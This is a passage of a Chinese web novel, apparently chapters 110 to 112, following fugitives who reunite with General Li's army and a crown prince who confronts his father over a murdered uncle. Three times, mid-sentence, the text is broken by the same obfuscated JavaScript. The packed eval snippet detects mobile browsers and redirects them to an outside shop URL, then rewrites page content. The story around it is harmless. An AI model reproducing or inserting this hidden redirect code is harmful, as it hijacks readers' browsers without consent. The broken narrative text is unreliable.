从黑夜赶到天明,行进了将近二十余里,直到□□马都快站不稳了,才敢停下来休息。 他们在一片荒芜的野地旁落了脚,从马上下来,大家拖着沉重的步伐寻找位置,有的背靠着枯树,有的直接坐在杂草丛中。 四下只余“呼哧呼哧”的喘息声,和“咕嘟咕嘟”的饮水声,并没有前些日子的有说有笑,气氛比出逃的那一天还要沉默。 黎长策不说话,谢烜赫不说话,黎书意亦不想说话,最后,近百人的队伍居然安静得如同败逃的军队,颓靡,没一点声息。 尽管与谢煜然早就桥归桥路归路了,可是黎书意此刻的心情并不好受,胸口仿佛被勒住一般,让她透不过气来。 她是兄长、谢烜赫和谢煜然他们三人友情的见证者,作为同窗,他们春天踏青赏花,夏天对弈品茶,秋天登高望远,冬天围炉夜话,过去的回忆涌上脑海,以后这些都不会再有了。 稍微休整了一下,他们接着赶路,如今行踪已经彻底暴露了,顺着行进路线推测,很容易得出他们的目的地是陵光,担心途中再生变故,他们只能快马加鞭。 另一边,谢煜然浑浑噩噩地从染房离开,在宿县的驿馆休息了一晚,次日一早他便急着往孟章赶。 昨夜他根本就没能睡着,一直躺在床上辗转反侧,琢磨着黎书意那两句话背后的含义,他想或许可以找父皇了解真相。 嫌马车太慢,行驶了半日他弃车而驾,丢下了卫队,仅带上双戒,中途也只在驿馆稍作休息。 骏马在官道上飞驰,激起一线尘土,然而随着距离孟章越来越近,他的心却越来越退缩,隐约觉得真相是他承受不了的。 又奔波了一日,他们抵达临县,终于距离孟章只余几十里的路程。 正值晌午,烈阳高悬,大地被烤得滚烫,炙热而沉闷的空气让谢煜然本就起伏不定的心绪更添了几分烦躁。 在路过某片乡间野地时,看见路边有搭起的简陋茶摊,他勒马停下,决定喝口茶稍作歇息。 茶摊主人笑脸相待,殷勤地迎接客人,谢煜然走入茶棚,径直往空桌而去。 到了桌前,双诫利落地掏出块帕子先将桌椅板凳擦拭一遍,再拉开条凳,谢煜然顺势坐下。 这时,一阵低语从不远处的树荫下传了过来,那是几位围坐在一起的农民,他们正热烈地讨论着大将军的一双儿女叛逃的事。 “我看该处理的是那姓江的,他分明是公报私仇,不满曾经被大将军参奏,所以调查时刻意挑衅,只可惜了那一对血性兄妹,因为不堪受辱做了难以挽回的事,希望陛下找到人后能从轻发落。”一中年汉子且愤且叹道。 最近类似的话听了太多遍,谢煜然心里面厌烦不已,眉头立时便皱起来了。 发现主子的不悦,双戒立马道:“卑职这就去赶走他们。” “贵客请慢用。”摊主走到桌边前来奉茶,然后又悄然退下了。 “事情才没那么简单呢!”那群人中的一个年轻乞丐高声反驳道。 中年汉子好奇地问说话的乞丐:“这话什么意思?” 由于双诫才刚走出茶棚,那边的议论尚未止住,还源源不断地传入谢煜然的耳中。 茶烟袅袅,他抬起碗轻啜了一口,粗茶味涩,并不好喝,不过能解渴就够了,再过半日便可知晓答案了…… “嘿嘿!”树荫下,那年轻乞丐先是洋洋得意笑了两声,停顿了片刻,待买够关子,他方才神秘兮兮地开口,“这可是秘密,你们千万保密哟。” “知道啦,你快些说!”大伙被他激起兴趣,不满地催促道。 年轻乞丐先摆架势清了清嗓子,接着才正经说了起来:“这一年来,因为昭王案,将军府受了连累,一直被圣上猜忌——” “凶手不是查出来是梁甫嘛!”一人打岔道。 听见这番对话,谢煜然忽然来了兴致,他放下茶碗往树荫下围坐的众人看去。 双诫此时刚走到树荫处,他本欲出声阻止的,转头发现了主子似乎对接下来的谈话感兴趣,于是便无声地立在原地。 “不不不,凶手根本不是梁丞相,”那自诩了解内情的年轻乞丐故作高深地摇头,接着伸出食指指了指天,点到即止道,“而是那位……” 这个手势代表着什么,即便是大字不识的人也都知道含义,围坐的人顿时惊骇得噤了声。 “啪!”瓷碗碎裂的声音打破了树荫下唠嗑的和谐氛围。 接着,一个面若冠玉,身穿华服的俊逸少年快步朝他们走过来,还来不及反应,刚刚那侃侃而谈的年轻乞丐便被人揪住了衣领,因为呼吸不畅,他一张脸憋得通红。 “把你刚才的话再说一遍!”谢煜然瞪着眼前蓬头垢面的人。 见来人气度不凡,年轻乞丐恐惹祸上身,忙否认道:“我什么都没说!” 谢煜然手上加了力道,声音也重了几分,威胁说:“我让你把刚才的话再说一遍!” 见躲不过去,年轻乞丐便支支吾吾道:“我说凶手是……” 他依旧不敢说出口,同刚才一般,还是做的手势。 “你如何知道的?”谢煜然寒声问。 年轻乞丐回答说:“全孟章城的人都知道。” “说清楚——”拉长的声线表明了问话人的不耐。 都已经到这个份上了,年轻乞丐也再无顾忌了,他一口气将所了解的全说了出来:“在黎家兄妹出逃的第三天早上,有人往全城百姓家门口放了一封问罪书,听人说似乎是昭王世子写的。” 谢烜赫……谢煜然闻言皱眉,旋即他追问:“写了什么?” “我不识字,不太记得原内容,大意似乎是梁丞相是授意才构陷昭王的。” 谢煜然大脑“轰”的一下炸开,身体瞬间变得僵硬,等回过神来,他眯起双眼,警告地盯着眼前的人问:“你说的可属实?” “千真万确!”年轻乞丐做出保证,接着又补充道,“不过午后那问罪书便被收集焚毁了,还勒令不许外传……” 他说话的语气一点点弱下去,因为他刚刚就正在外传。 “即刻回孟章。”谢煜然松开年轻乞丐,然后转身对双诫道,这一刻,他忽然又无比迫切地想回孟章了。 谢煜然打马前行,马蹄密集地砸在地面上,犹如急雨。 颠簸之中,他的脑海里不断回荡着那个乞丐的话,尽管内心极力排斥这种可能,可是理智告诉他这很有可能就是事实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545768|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为顺着这个方向思考,那些困住他的疑点得到了解答,比如父皇为何会因为《陈冤录》而清查将军府,又比如他对待昭王案的回避态度。 马不停蹄赶了两个时辰,高大的城门终于近在眼前。 因为那日之事,城门防守加固,兵力是从前的两倍,守卫们个个持戈严阵以待,对每一位过往的行人进行严格的盘查。 亮出令牌,谢煜然畅通无阻地穿过了城门,他很想继续催马疾驰,可顾忌着官道上人来人往,最后终是忍下了。 □□马早就累了,步子越来越慢,便是这样,他察觉到了大街上的沉闷气氛。 那日出城,街上氛围虽然也很怪异,但却不似现在,宛如一潭死水。 莫不是因为问罪书?他心头冒出了这个猜测。 太子殿下回城,百姓们纷纷避让,他们望着光风霁月的少年郎策马而过,心中五味杂陈。 大家都没了往日招呼的热情,脑海里想的全是他知道自己的父皇残害手足吗?他是如何看待自己的父皇伤害血浓于水的人,又或者说他根本从一开始就知道…… 谢煜然坐在马背上,这么些年,出行时他一直享受着民众们崇敬爱戴的目光。 可今日,那些不时瞥过来的眼神让他心中滞涩不已,像是同情悲悯,又夹杂着失望与不信任,胸口如同压了一块巨石,沉重到他几乎喘不过气来。 再忍耐不下去,到了人群稀少处,他紧握缰绳,一夹马腹,加快了速度,直奔皇宫。 天边艳红色的霞光宛如烈火,宫城内的殿堂楼阁在夕阳的映照下仿佛被点燃了一般。 深深看了一眼这诺大的宫城,谢煜然最后驱马穿门而入,从马背上下来,他直往大兴宫而去。 一入宫门,宫人便迎了过来,问过父皇在何处之后,他快步往那个方向走。 到了大殿门口,站立在外等待通传的时候,他稍微整理了一下衣冠,怀揣着一颗忐忑不定的心静静候着。 未几,赵让出来通报:“太子殿下,皇上叫您进去。” 谢煜然应声朝房内扫去,背后斜射过来的阳光只照到了门内侧丈许,更里面则一片昏暗,他心里的犹豫与不安加重了几分,微微吸了一口气,才跨步走进御书房。 华美的殿宇里萦绕着龙涎香的气息,身着明黄色龙袍的人右胳膊肘撑在大案上,食中二指则按揉眉心。 谢煜然迈步前行,走到御案两步前他顿足,然后抬手躬身,恭敬地行礼道:“儿臣见过父皇。” “来了?”靠坐在椅子上的人懒懒地掀起眼皮,朝下首看了过去。 那日听人来报,说是太子违背自己的禁令强行闯府,景帝被气得不轻,他之所以下禁足令,为的就是不想让这小子和那三人接触,毕竟这小子和他们牵扯太多,会坏了他的事的。 可很快他转念一想,儿子和那三人从前关系亲密,定然十分了解他们的行为方式,说不定能更快找到人,于是便未再拦阻。 果然,给他追到人了。 然而,一想到后面的事,他不禁气血上涌,这畜牲居然放走了他们,这简直等于放虎归山。 好在这并非不可挽回,眼下他们的行踪已经暴露,那么他有的是机会下手,不过不足百人的残兵罢了,再精锐能抵抗到何时。 思绪回笼,他的目光落到儿子脸上,沉声训斥道:“放走了逃犯,你可知罪?” 110. 虚惊 谢煜然默然,从他眼睁睁看着黎书意他们离开的那刻,他便知道这事瞒不了多久,也做好了被处罚的准备,只是现在看来,后果恐怕比他预想得更加严重。 忆起了年轻乞丐的话,他鼓足勇气抬头问道:“是真的吗?” 接收到探问,景帝神色一滞,明白自己的罪行已然被儿子知晓,面皮微微有些涨红。 不过很快,这种尴尬转变成为愤怒,他有什么资格质问自己。 这瞬息之间的神色转变被谢煜然瞧了个真切,他心头忽然一空,那最后的一丝希冀也消散了,明白一切都是真的。 喉头哽咽了一下,他涩然开口:“他可是您的亲兄弟啊……” 被亲儿子质问,景帝的心情本就不好,听见这话他彻底爆发,愤怒地一拍桌案,面目狰狞道:“亲兄弟又如何,天家无手足,历朝历代这样的事多了去了!” 天家无手足……身在其中,谢煜然又岂会不知呢。 是,为避免宗室子弟对皇位造成威胁,的确有不少帝王残忍屠杀手足,可那多是因为那些藩王本就图谋不轨。 即便是这样,大多数帝王最开始选择的也是削权,因为屠戮手足不仅会削弱皇室的力量,引发其他贵族或臣子的疑虑,而且这种违背人伦的做法还会影响皇室的声誉,让民众对整个皇室产生失望和不信任感。 西景皇室子嗣不丰,近年来地方势力做大,正是需要齐心协力的时候,所以他不明白,“三皇叔可是一直在朝局之外的啊……” “若非在朝局之外,他早该死了!”景帝怒吼出声,一点遮掩的意思也没有了。 他垂目朝案前跪着的人看去,十七八岁的少年,还有着这个年纪的天真和愚蠢,对仁义道德看得太重。 哦,也不全然如此,想起那个令自己咬牙切齿的毛头小子,他意味深长道:“这感受你应该很清楚的不是吗?谢烜赫……” 谢烜赫……这三个字令谢煜然的心弦微微颤动,从出生起,他们就在较量。 他承认,他事事都想要胜过谢烜赫,在谢烜赫夜闯太子府的那一晚,他甚至动了杀心,想要铲除这个一直以来萦绕在他心头的阴影。 可是那想法终究是一闪而过,他想起了他们在学堂谈诗论赋,在棋盘上精彩厮杀,在马场上你追我赶,他们是劲敌,但更是良友,这样的人一生能遇见的不多。 他有幸遇到了两个,他想着让他们成为他的左膀右臂,三个人一起光耀西景,收腹先祖失去的领地,可如今它就像是脆弱的泡沫,一戳就破了。 景帝不清楚儿子在想什么,但总归是对他做法的不赞同,这比其他的指点更令他恼怒,于是冷声警告:“别忘了,你所有的一切都是朕赐予你的!” 说着,他从座位上移步,走到跪在地上的人跟前,居高临下道:“你是百姓和朝臣眼中的好太子不错,可是这位子你能坐多久由朕说了算,这段时间你就好好待在府上闭门思过吧。” 扔下这句话,他甩袖离开了。 谢煜然颓然跪在地上,心彻底麻木了,他感觉无比的疲劳,似乎所有的热情和精力都被抽干了。 小时候,他觉得父皇是世上最英伟的人,他身姿挺拔,人人畏之敬之,犹如山岳一般,屹立不倒。 稍大了些,虽想法不似从前那般极端,可父皇依旧是他的榜样,他极度渴望得到父皇的认可。 待他长到十多岁,随着阅历的增长,崇敬之情逐渐递减,尤其入弘学馆以来,以及参与朝廷之事之后,他亲眼见证了父皇亲小人远贤臣的种种行为,那最后的崇敬也不见了。 父皇虽然是他的血亲,然而与他还不如与恩师、同窗和近侍亲厚。 …… 时已傍晚,日落西山,百鸟归林。 长途奔袭许久,此刻黎书意整个人又饿又累又困,她简直站着都能睡着,仰头望天,见西边一片火红,天就快黑了,在此之前,他们必须找到安全的落脚点。 目的地已经暴露,他们身边危机四伏,在人数不占优势的情况下,他们能利用的只有地理优势。 若是能找到一个遮掩踪迹的地方最好,这样便可以避过一战,若是找不到,至少也得是个易守难攻的地方。 又行了好一段路,直到夜色沉如泼墨,他们终于发现了一个峡谷,队伍缓缓向谷口靠近。 找到了极佳的休息之所,黎书意的心情放松下来,眼下她只想赶快下马,先饱餐一顿,然后再好好睡上一觉。 正如此作想,发现半个身位前的蹑荆走得越发缓慢,最后直接停了下来,她疑惑地转头,看见马上的谢烜赫脸上神情凝重。 刚准备问,兄长驾马并过来,将她想说的话问出来:“怎么了?” “有动静!”谢烜赫言简意赅道。 听见这三个字,黎书意的心一下子提到了嗓子眼儿,陷入到极度的恐慌之中。 今晨修整上路后没多久,他们便遭遇了一队二十来人的人马,那群人并非是追随他们的踪迹而来的,而是恰好在附近搜查的官差。 逃亡了一夜,虽然中途修整过,但人还是很疲累,所以那一仗打得有些吃力,队伍里好几人都受伤了。 黎书意举目望着峡谷,夜色弥漫,只见周围的景致被简化成模糊的轮廓,起伏的山峦宛如趴伏的巨兽,两山的缝隙像是深渊巨口,仿佛能吞噬一切。 若这里真的有追兵,那定然是提前潜伏了的,他们岂不是羊入虎口。 其他人也因为这话露出惊慌的神色。 望了一眼峡谷,黎长策回头扫向身后疲惫的众人,沉吟片刻后,他做了决定,遂道:“不如先在这里停下,待探查过再做打算。” 谢烜赫点头。 于是,所有人停下来,为了方便逃跑,他们甚至没有下马。 纯钧和绿沉被派去摸情况,两人下马以后持剑向谷口走去,身影渐渐消失在浓稠的夜色之中。 走过幽深的峡谷,纯钧和绿沉对视一眼,然后分道而行。 纯钧往左边拐去,他将步子放得极轻极大,身体紧贴着岩壁。 大约走出了二十步,在拐弯的时候,一柄利刃横扫过来,凭借着出色的反应速度,他紧急向后撤步,最终避过了袭来的剑招。 对方很快再次出手,他忙提剑抵挡,这人看起来是个难缠的角色,无论在出招和力度上,都比之前解决的那几批人要好太多了,估计是存了在这里将他们一往打尽的心思。 正在他忖度着该如何脱身向主子禀告情况之时,身后传来绿沉的声音。 绿沉是听见打斗声跑过来的,刚提起剑打算帮助纯钧,却发现对面的人出招熟悉,身形似乎也很熟悉,仔细辨认了一番,他惊呼出声:“你是展元!” “绿沉?”那人不确定地问,与话音落下的还有他手上的剑。 刚才剑拔弩张的气氛顷刻间消散,纯钧也适时收招,明白了这批人是谁。 绿沉忙抢步上前,声音里带了喜色道:“所以大将军在这?” 夜色深沉,扁舟一样的残月孤零零地漂浮在墨河之上,万物皆沉浸于无边的幽暗之中,山野间寂静万分。 峡谷外,大家还保持着纯钧和绿沉离开时的姿态,他们目视着前方的深沟巨壑,安静地等待着。 四下除了马蹄摩擦碎石的响动,和“呜呜”呼啸的风声,以及大家轻微的喘息声,便再听不到其他动静了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545769|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间一点点流逝,在一片寂静之中,忽听得队伍之中的偃月脱口道:“有刀剑声!” 仿佛平地一声雷,她的话让在场所有人的心都提了起来,黎书意不安地看向兄长。 望着幽深的巷道,黎长策当机立断做了决定,他转头面对谢烜赫,一脸正色地说:“来不及一起了,你和她带着一部分人先逃,我负责殿后!” 谢烜赫抿唇,沉默了一会,他最终点头了,于是目光转到黎书意身上,伸出手道:“上我马来!” 看了眼递过来的手,黎书意并没有马上去接,而是纠结地望向兄长。 如此好的战略要地,又提前精心准备过,若是真打起来,肯定会是一场恶战的,你死我活的那种,这要她如何安心先逃呢? 尚在犹豫之时,腰被人搂住了,谢烜赫见她不动,已经倾身靠过来,企图强行将她拽到自己马上。 “小妹放心。”黎长策望着妹妹,安抚地对她一笑。 黎书意的心口一阵钝痛,她知道眼下这情况他们不能一起走,否则被追上了便会被一网打尽,挣扎良久,她选择相信兄长,遂叮咛道:“那你小心。” 说毕,她两手主动攀上谢烜赫的肩头,抬起右腿跨上马背,谢烜赫再一托举,最后她安稳地坐到了蹑荆身上。 “保重!”谢烜赫郑重地望着好友。 话音刚落,就见三道身影从谷口飞跑出来,他们只派了纯钧和绿沉前去探路,所以这显然印证了他们的猜测。 “快走!”黎长策着急地催道,旋即他一掌拍在马身上,脚尖一点马背,然后借着这股力道飞扑出去。 黎书意正待细看,马却在这时调转了方向,那几道黑影在眼前消失不见,有的只是一片荒野,她不愿放弃,就扭转过头。 “锵!”两剑相迎,音短而力足,清脆的响声在幽静的山谷被无限放大,仿佛怪兽的低吟,震得人心神不宁。 刀剑交锋,似夜空中炸开的银色闪电,敌人身手不弱,迅捷地抵挡住了黎长策的进攻。 他乘胜追击,长剑再次挥出,“叮!”一声,火星四溅,对方又与他抵剑相持。 下一击他出招更快,更重,角度也更刁钻,然而对方还是提剑格挡,他不禁疑惑地皱起眉。 方才,见人数对不上,为抢占先机,他不由分说出手了,可这几招下来,他发觉对方的招式透着熟悉,并且只守不攻,身上也不带半点杀气。 心里正在奇怪,与他打架的人焦急地喊道:“少将军,是我,展元!” 展元!耳熟的名字令黎长策的动作一顿,他视线下移,目光落到了与自己对战的人脸上。 因是黑夜,又是突发情况,刚才他光顾着看招式,根本没关注过对手的长相,现在认真地端量,在眼睛适应了黑暗之后,他看到了一张熟悉的脸。 再往后一扫,另两个正是消失的纯钧和绿沉。 确认了对方的身份,他愣愣地将剑收回来,有些激动地问:“所以父亲在此?” “是的。”展元点头。 “那为何不早说?”黎长策语气里难得带了点气。 展元闻言无奈道:“卑职一出现您便冲了出来,哪有机会啊……” 眼见危机解除了,庆幸过后,黎长策终于想起了什么,他猛地转头往后看,好在只过了几招,撤退的人马才跑出百步远。 谢烜赫本驾着马全速奔驰着,跑出没多远,听见怀里的少女说了一句“不对”。 听见这话,他分心地转身朝后瞟了一眼,结果发现情况确实不对,黎长策不仅停手了,而且还与对方说起话来。 见状,他勒马停下,留在原地静观其变。 111. 叙旧 黎书意坐在马背上,她的眼睛紧盯着百步开外的地方,由于天色昏暗,她看到的只是一个个轮廓大同小异的黑影罢了。 难不成不是敌人?见原本对峙的人影汇合一处,她满腹疑惑。 马开始往回走,随着距离逐步缩小,隐没在夜色里的人影在视野里变得清晰,兄长的身形即便是在黑暗里她也认得出,她直接瞥过最高的那一道,往旁边看去。 男子身高在八尺上下,体格健硕,尚未将脸瞧清楚,便见这人抢步上前,拱手一礼道:“二姑娘,是卑职。” 听到记忆里的声音,黎书意激动地叫喊出声:“展元,是你!” “是,见过二姑娘。”展元点头。 一股难以言喻的惊喜涌上心头,黎书意的思绪随之飘到了别处,想着既然展元在这里,那么父亲多半也在这,于是脱口问道:“父亲呢?” 展元回说:“大将军就在山谷后面,卑职已经派人通传说少将军和二姑娘来了。” “太好了!”她激动喊道。 化解了乌龙,分开的人马重新合并,然后他们在展元的带领下深入山谷。 山谷幽深寂静,一行人往腹地走去。 路上,黎长策向展元了解情况:“大洪县之后便失去了你们的踪迹,你们怎么会在这?” 展元道:“听闻将军府被控制起来后,大将军本打算进城营救的,后来收到了世子的信件,接着又得知您们已经逃了出来,于是大将军便按原计划继续往陵光赶路,前日探马回报,说少将军和二姑娘在宿县被发现了,大将军料想朝廷定会派兵围追堵截,因此更改了行动路线,在陵光附近潜伏,并分派人马四处排查解决巡逻官差和追兵。” 所以他们能顺利走到这,其中还有父亲的助力在里面,黎书意听后开心地笑了。 欣喜的余波还未平复,耳畔传来了嘈杂的人声,她闻声极目远望,看到了百步开外支起的那片军帐,帐中透出昏黄温暖的光亮。 没想到居然在荒郊野外看见万家灯火,她心里顿时生出归属感来,她在那片光亮里找寻着,努力辨认那些因视觉而缩小的身影。 正看着,见中间一顶大帐的帐帘被撩开,从里面走出来两人,那一闪而过的亮光让黎书意看见了他们的脸,虽不清晰,但也认出了个大概,正是父亲和他的侍卫沥泉。 从军帐中走出来以后,父亲便站在门外,他也视线远眺,看的正是他们这边。 随着队伍徐徐行近,那张脸已经无比清晰了。 “父亲……”明明还没到跟前,黎书意却忍不住唤了出来,声音里也带上了哭腔。 她恨不能扑进父亲怀里,可因为人还在马上,便只能按耐着,焦急地等了一会,马终于到了帐外,她只想赶快下去。 “小心。”谢烜赫眼疾手快搂住了少女的腰。 从知道黎世伯在这里的那一刻起,圈在怀里的人便一副坐立不安的样子,她微仰着头眺望远方,嘴里叹息一声接一声,似乎在抱怨怎么还不到啊。 十六七岁的少女,遭逢如此大的变故,思父心切实属正常,她想得专注,他便没有打扰她。 只是马未停便欲下的行为太过危险,将少女扶正坐到马上,谢烜赫温声道:“等我先下马了再扶你。” 感受到腰上的力度,黎书意终于从急于见父亲的思绪里抽离,心知自己刚才太过冒失,她轻嗯了声,不再随意动弹,只眼睛还定定望着父亲,而父亲已经迈步走来。 “手给我。”勒停马下马之后,谢烜赫递出自己的手。 黎书意应声把手搭上去,在谢烜赫半搂半搀之下下了马。 脚一沾地,她便向父亲奔去,也不管周围有多少人在看,她扑到那个高大伟岸的壮年男人怀里,语带哭腔喊了一句“父亲”。 “婠婠想为父了吗?”黎横天接住奔来的女儿,一双大手说着轻抚起她的头。 “想。”黎书意脱口而出,积累了五六个月的思念,与朝廷对抗的压力,逃亡路上的艰苦……所有的情绪在遇见依靠时一齐涌了上来,她鼻头一酸,眼泪在眼眶里打转。 她虽娇生惯养,但是甚少落泪,她其实真的很想大哭一场的,考虑到在人前,到底强压着自己的情感。 黎长策和谢烜赫拴好了马,安顿好了部下,两人一道走了过来,各自向黎横天问了好。 趁此机会,黎书意抬手抹掉了沾在眼睫上的泪珠。 紧接着,黎裕也闻讯赶来,五人在门口闲话了几句,然后一起进军帐了。 军帐里环境简陋,外间只两丈见宽,摆着几案和桌椅等应用之物,他们在桌边坐下,沥泉端来了茶水,很快又退下。 最近,搜查的官差太多,黎书意、黎长策和谢烜赫一行人不得不东躲西藏,连休息的时间都很少,根本来不及了解别的情况,于是他们便边饮茶边同另外两位暗中蛰伏的人交流起来。 黎横天说朝廷在表面上对他们的逃亡表现出一种宽大处理的态度,下的命令是务必活捉,不许伤人。 假仁假义,黎书意听后忍不住在心里暗怼,他们也就碰到谢煜然那次相对放松些,其他时候那些官差可都是下杀手的。 接着,黎横天便问及了他们碰上谢煜然的事,黎长策简单讲述了一遍发生在染房里的经过。 黎书意则向黎裕问起叔母情况,黎裕说为安全着想,已经派人将她提前护送到金错山庄了。 随后,他们又交流了一下彼此的近况。 饮了一口茶,黎书意放下茶盏,其实她心里还装着另一件事,此时便借着这个时机问了出来:“父亲,不知外祖母和表姐那边的情况如何?” 黎横天扭转过头来,看着女儿回道:“事发之后,我便派人手想着将你外祖母和表姐接过来,但是路途遥远,根本赶不及,大约是忌惮姚家在客郡的声望,又加之那份问罪书,朝廷暂时没人动她们,只是将人严密地监视起来。” 这话如同一颗定心丸,彻底解除了黎书意的担忧,她是真的害怕外祖母和表姐会因为他们而遭受无妄之灾。 停顿片刻,黎横天继续说了起来,用手指了指他们三个,像是训斥调皮的小孩子那般,无奈道:“你们胆子可真大,居然敢写那东西。” 被点的三人同时噤了声,知道这行为确实胆大包天。 思绪拉回那日,在意识到逃亡已成定局,黎书意便想到了这一招,不愿承受污名,即便无法即刻报仇,那也可以先摧毁帝王的威信,剩下的他们慢慢来。 同兄长和谢烜赫说了自己的想法,两人皆是一惊,沉默良久,谢烜赫先道了同意,接着兄长也点了头,于是三人口头合计了内容,再由谢烜赫负责起草,只是到如今,她还没来得及看。 “恐怕现在朝廷一片混乱……” 思绪被父亲的感叹打断,黎书意闻言抬眼望着戎马半生的英武男子,他的双眼闪烁着担忧,即便已经被他的国君给抛弃了,却还在为它的命运担忧。 军帐里一片凝肃的安静,可外面却一片欢腾。 展元撩开帐帘走了进来,报告说:“将军,已经备好了。” “嗯。”黎横天从座位上起身,他看着三个小辈,“走吧,奔波了一路你们也该饿了。” 四人应声而起,到了外面,他们看见空地上燃起了篝火,烤架上架着野味。 黎书意早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545770|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿了,因为遇敌的紧张和与父亲重逢的喜悦,饥饿被她暂置脑后,眼下闻到了烤肉的香气,那饥火烧肠的难耐感觉被重新唤起。 他们并入到篝火堆前,深夜,烤肉和美酒的香气与欢声笑语交织在一起,在山谷里回荡。 …… 山谷的清晨充满了鸟语虫鸣的喧嚷,黎书意缓缓睁开眼睛,然后舒服地伸了一个懒腰,这一觉她睡得实在安心。 扭头往外侧看,发现兰亭已经起身了,她下床穿好鞋,睡眼惺忪地撩开了帐帘。 天色已大亮,金光倾洒而下,万物沐浴在朝晖之中,尽管光线十分柔和,但依旧有些刺眼,将左手遮在眉前,她站在军帐门口举目远望。 只见偌大的空地上,营地的人早活动开了,这边叔父在带兵操练,那边展元在安排收拾行装,一切井然有序。 昨夜的篝火晚宴上,她看到了无数张熟悉的面孔,虽说这里统共才千余名将士,但仅上层将帅和中下层军官就占四成,其中大半是从将军府的府卫晋升上去的,皆由父亲亲自指导、训练、提拔,他们是父亲的亲兵,也是黎家军精锐中的精锐,骁勇善战。 山谷里空气清新,眼前又是这样一副朝气蓬勃的景象,看着看着,她的心情越发明媚起来。 “二姑娘,洗脸水端来了。” 黎书意循声移目,见左手边方向兰亭正抬着铜盆走来,她点了一下头,然后折回帐子里梳洗去了。 待整理好仪容,她去父亲的中军帐问安,将帐帘挑开,见兄长和谢烜赫都在里面,三人正围坐在桌前,面前铺着一张地图。 她走上前去,盯着做了许多标注的地图看了片刻,旋即抬头问:“我们何时出发?” 黎长策答道:“明天。” “婠婠怕不怕?”黎横天问女儿。 谢烜赫也注视着少女。 这一路都已经走过来了,这最后的一程黎书意岂会怕,尽管知道前路危险重重,可有面前这三人在,她心里就有底气,于是斩钉截铁道:“不怕。” 次日,用过午饭,在军帐、粮草、武器等物品收拾妥当以后,他们离开了峡谷。 虽说能想到的路线肯定都已经设下了伏兵,走哪条都避不开一战,但是为了不伤及无辜,他们采取了历来的策略,选择走小路。 如此选择带来的坏处是道路蜿蜒,行军的速度略慢,好处便是地方狭窄曲折,对方不好大肆排兵布阵,所以前头的一段路他们走得畅通无阻。 直到到了青溪岭,地形逐渐变得开阔起来,派出的探马回报说十里外有一支军队驻守。于是,他们就地停下来召开紧急会议,商讨战术。 黎书意站在一侧旁观,或许是早就知道会有这么一战,所以每个人的脸上都没有慌张和退却,有的是坚毅和决心,像是在说终于等到了。 商议已定,各部将起身离席。 “展元,你留下,我另有安排。”黎横天出声叫道。 展元遂停步,走至大将军跟前。 黎横天吩咐道:“你一会带上一队人马在西侧的山道埋伏,为我们断后。” “是。”展元听令。 黎横天颔首,旋即朝女儿看过去,“婠婠,拔营出发之后你跟展元一起走,等我们结束了便与你们汇合。” 这是黎书意最接近战场的一次,她虽是大将军之女,但是却从未有机会去见证去参与,她所能见的也就是军营里的操练。 有时候,她也会产生渴望亲临战场的想法,看父兄是如何奋勇杀敌,她想那一幕定然是无比的英姿飒爽。 然而,和先前无数次一样,她点了头,她知道自己在那里很难帮上什么。 112. 对阵 从大帐里出来,展元与黎书意别过,然后去点选人马了。 黎书意站在大帐门口抬眼四顾,只见营地一片忙碌景象,大家正在收拾行装,画面虽然看起来和昨天清晨见到的别无二致,但是氛围却迥然不同,空气中弥漫着一种庄重感。 与黎家军汇合所带来的信心,还有观中军帐里排兵布阵的激动慢慢退却了,此刻她的心情被紧张、担忧和悲伤占据。 收回目光,黎书意朝右边走去,来到兄长和谢烜赫所居的大帐前,兄长正站在侧旁的空地上与绿沉交待事情。 她在两步开外的地方驻足,等两人说完话了,绿沉领命离开后方才上前。 黎长策一侧头便看见小妹眉宇间淡淡的忧愁之色,柔声开解道:“别愁眉苦脸的,最近不一直是这样吗,我们也都挺过来了。” 怎么会一样呢,黎书意在心里反驳,之前每次不过几十几百人而已,这回说不定是成千上万人。 “好啦,为兄又不是第一回上战场,你别太担心了。”看少女依旧愁云锁眉,黎长策继续安慰。 怎么能不担心呢,黎书意凝视着眼前的人,他可是她的至亲,对她来说即便他上一百回战场,她的心情也还是一样。 不想给兄长负担,这话她到底没有说,缓和了一下心里的悲伤情绪,她开口道:“我相信兄长。” “嗯。”黎长策闻言笑了,旋即他往正在集合的方阵走去。 黎书意静静望向那走远的挺拔背影,半晌她转过脸,上前几步来到大帐门口,然后隔着布帘问:“我方便进来吗?” “进来吧。” 听见回应,她撩开帘子,走了进去。 到了帐中,见谢烜赫正站在床边穿甲衣。 这身军甲黎书意无比熟悉,因在战事上帮不了什么忙,所以她在这事上格外热心,近两年,父亲出征时有一半的甲衣都是她给穿的。 